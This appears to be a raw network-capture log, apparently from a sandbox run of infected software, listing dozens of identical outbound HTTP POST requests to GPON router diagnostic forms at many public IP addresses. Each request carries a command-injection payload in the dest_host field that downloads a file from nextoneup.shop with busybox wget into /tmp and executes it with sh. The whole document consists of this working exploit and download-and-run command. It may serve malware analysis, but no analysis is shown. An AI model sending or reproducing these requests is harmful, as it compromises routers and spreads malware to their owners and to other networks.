Apr 14, 2024 04:00:22.880228996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
927	192.168.2.13	50818	42.80.55.221	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880259991 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
928	192.168.2.13	57080	118.83.148.56	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880265951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
929	192.168.2.13	60844	178.239.177.104	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880315065 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
930	192.168.2.13	40688	109.213.160.89	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880337954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
931	192.168.2.13	56206	2.16.26.88	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880340099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
932	192.168.2.13	37964	109.15.42.131	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880347013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
933	192.168.2.13	49866	212.43.111.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880361080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
934	192.168.2.13	54670	79.179.128.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880378008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
935	192.168.2.13	36888	210.207.123.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880408049 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
936	192.168.2.13	59364	118.194.78.125	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880431890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
937	192.168.2.13	50908	37.171.243.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880453110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
938	192.168.2.13	53284	148.79.245.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880487919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
939	192.168.2.13	33896	79.222.218.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880507946 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
940	192.168.2.13	37214	94.241.43.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880511045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
941	192.168.2.13	60374	210.82.38.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880522013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
942	192.168.2.13	35914	178.93.24.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880542994 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
943	192.168.2.13	34512	2.217.236.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880558014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
944	192.168.2.13	34770	123.84.163.178	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880595922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
945	192.168.2.13	39228	210.181.85.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880614996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
946	192.168.2.13	54652	210.13.245.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880640030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
947	192.168.2.13	59080	2.149.54.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880662918 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
948	192.168.2.13	47258	178.49.123.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880687952 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
949	192.168.2.13	50168	118.224.87.235	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880713940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
950	192.168.2.13	52628	79.43.229.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880742073 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
951	192.168.2.13	52726	202.66.183.45	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880742073 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
